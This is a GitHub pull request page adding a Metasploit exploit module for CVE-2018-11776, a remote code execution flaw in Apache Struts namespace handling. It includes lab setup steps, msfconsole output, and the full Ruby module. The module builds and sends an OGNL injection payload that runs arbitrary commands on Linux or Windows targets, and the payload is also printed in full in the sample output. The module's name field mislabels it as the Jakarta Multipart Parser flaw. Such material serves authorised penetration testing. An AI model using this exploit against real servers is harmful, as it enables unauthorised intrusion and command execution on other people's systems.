Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2018-11776: Struts Namespace RCE #10546

Merged
129 changes: 129 additions & 0 deletions documentation/modules/exploit/multi/http/struts_namespace_rce.md
@@ -0,0 +1,129 @@
CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles namespaces and redirection, which permits an attacker to execute [OGNL(https://commons.apache.org/proper/commons-ognl/language-guide.html) remotely. Using OGNL, the attacker can modify files and execute commands.

The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter.

## Vulnerable Application

The Struts showcase app, with a slight adaptation to introduce the vulnerability, works reliabliy as a practice environment.
*@hook-s3c* did an amazing job with [their writeup](https://github.com/hook-s3c/CVE-2018-11776-Python-PoC/blob/master/README.md), which I'll include exerpts of here:

1. From a stock Ubuntu VM, install docker:
```
sudo apt update && sudo apt install docker.io
```

2. Download a vulnerable Struts showcase application inside a docker container:
```
sudo docker pull piesecurity/apache-struts2-cve-2017-5638
sudo docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
CONTAINER_ID=`sudo docker ps -l -q`
```

3. Now that the container is running, open a terminal inside of it:
```
sudo docker exec -it $CONTAINER_ID /bin/bash
```

4. From within the container, install your text editor of choice and modify the Struts configs:
```
sudo apt update && sudo apt install nano
nano /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
```

5. Update the struts config to add this to above line #11:
```
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
```

6. Update the same struts config file to add this above line #78:
```
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
```

7. Still within the container, shutdown the environment:
```
/usr/local/tomcat/bin/shutdown.sh
```

8. Upon completion, the container will shutdown and you'll return to the host environment. Restart the container, now with a vulnerable endpoint:
```
sudo docker start $CONTAINER_ID
```

Congratulations. You now have a vulnerable Struts server. If you're following these instructions, your server should be listening on 0.0.0.0:32771. To confirm:
```
INTERFACE=`ip route list 0.0.0.0/0 | cut -d' ' -f5`
IPADDRESS=`ip addr show $INTERFACE | grep -Po 'inet \K[\d.]+'`
PORT_NUM=`sudo docker port $CONTAINER_ID | sed 's/.*://'`
echo "Struts container is listening on $IPADDRESS:$PORT_NUM"
```

## Verification Steps

Confirm that check functionality works:
- [ ] Install the application using the steps above.
- [ ] Start msfconsole.
- [ ] Load the module: ```use exploit/multi/http/struts_namespace_rce```
- [ ] Set the RHOST.
- [ ] Set an invalid ACTION: ```set ACTION wrong.action```
- [ ] Confirm the target is *not* vulnerable: ```check```
- [ ] Observe that the target is *not* vulnerable: ```The target is not exploitable.```
- [ ] Set a valid ACTION: ```set ACTION help.action```
- [ ] Confirm that the target is vulnerable: ```The target is vulnerable.```

Confirm that command execution functionality works:
- [ ] Set a payload: ```set PAYLOAD cmd/unix/generic```
- [ ] Set a command to be run: ```set CMD hostname```
- [ ] Run the exploit: ```run```
- [ ] Confirm the output is the container ID of your docker environment, e.g: ```b3d9b350d9b6```
- [ ] You will not be given a shell (yet).

Confirm that payload upload and execution works:
- [ ] It doesn't (yet).
## Options

**TARGETURI**

The path to the struts application. Note that this does not include the endpoint. In the environment above, the path is `/`.

**ACTION**

The endpoint name. In the environment above, the endpoint is `help.action`.

## Scenarios

### Version of software and OS as applicable

Checking a vulnerable endpoint, as installed in the above steps.

```
msf > use exploit/multi/http/struts_namespace_rce
msf5 exploit(multi/http/struts_namespace_rce) > set RHOSTS 192.168.199.135
msf5 exploit(multi/http/struts_namespace_rce) > set RPORT 32771
msf5 exploit(multi/http/struts_namespace_rce) > set ACTION help.action
ACTION => help.action
msf5 exploit(multi/http/struts_namespace_rce) > check
[+] 192.168.199.135:32771 The target is vulnerable.
```

Running an arbitrary command on the above-described environment:

```
msf5 exploit(multi/http/struts_namespace_rce) > set VERBOSE true
msf5 exploit(multi/http/struts_namespace_rce) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf5 exploit(multi/http/struts_namespace_rce) > set CMD hostname
CMD => hostname
msf5 exploit(multi/http/struts_namespace_rce) > run
[*] Submitted OGNL: (#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())

[*] Command ran. Output from command:
b3d9b350d9b6

[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/struts_namespace_rce) >
```
144 changes: 144 additions & 0 deletions modules/exploits/multi/http/struts_namespace_rce.rb
@@ -0,0 +1,144 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection',
'Description' => %q{
This module exploits a remote code execution vulnerability in Apache Struts
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
via an endpoint that makes use of a redirect action.

Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
'Author' => [
'Man Yue Mo', # Discovery
'hook-s3c', # PoC
'asoto-r7', # Metasploit module
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We should probably add you to .mailmap. cc @wchen-r7

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It looks like Aaron's name is in .mailmap. Let me know if it doesn't work.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

My bad! Disregard. (:

'wvu-r7' # Metasploit module
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

wvu, please, if you're going to keep me. :)

],
'References' => [
['CVE', '2018-11776'],
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057']
],
'Privileged' => true,
'Targets' => [
[
'Universal', {
'Platform' => %w{ unix windows linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
],
'DisclosureDate' => 'Apr 10 2018',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ])
]
)
register_advanced_options(
[
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
]
)
end

def check
# Generate two random numbers, ask the target to add them together.
# If it does, it's vulnerable.
a = rand(10000)
b = rand(10000)
c = a+b

ognl = "#{a}+#{b}"

begin
resp = send_struts_request(ognl)
rescue Msf::Exploit::Failed => error
print_error(error.to_s)
return Exploit::CheckCode::Unknown
end

# If vulnerable, the server should return an HTTP 302 (Redirect)
# and the 'Location' header should contain the sum of our two numbers (a+b)
if resp && resp.code == 302 && (resp.headers['Location'].include?c.to_s)
vprint_status("Submitted OGNL: #{ognl}")
vprint_status("Redirected to: #{resp.headers['Location']}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def exploit
case payload.arch.first
when ARCH_CMD
resp = execute_command(payload.encoded)
else
fail_with(Failure::BadConfig,"Only cmd payloads are currently supported.")
resp = send_payload()
end
end

def send_struts_request(ognl)
uri = normalize_uri("/${#{ognl}}/",datastore['ACTION'])

resp = send_request_cgi(
'encode' => true,
'uri' => uri,
'method' => datastore['HTTPMethod']
)

if resp && resp.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI and ACTION')
end
resp
end

def execute_command(cmd_input)
# The following OGNL will run arbitrary commands on Windows and Linux
# targets, as well as returning STDOUT and STDERR.
# In my testing, the request timed out after 3 seconds.
ognl = "(#_memberAccess['allowStaticMethodAccess']=true)."
ognl << "(#cmd='" + cmd_input + "')."
ognl << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
ognl << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
ognl << "(#p=new java.lang.ProcessBuilder(#cmds))."
ognl << "(#p.redirectErrorStream(true))."
ognl << "(#process=#p.start())."
ognl << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
ognl << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
ognl << "(#ros.flush())"

vprint_status("Submitted OGNL: #{ognl}")

resp = send_struts_request(ognl)

if resp && resp.code == 200
print_status("Command ran. Output from command:\n#{resp.body}")
else
print_error("Failed to run command. Response from server: #{resp.to_s}")
end
end

def send_payload(exe)
# TODO: Have the ability to upload/run payloads

# send_struts_request(ognl)
end
end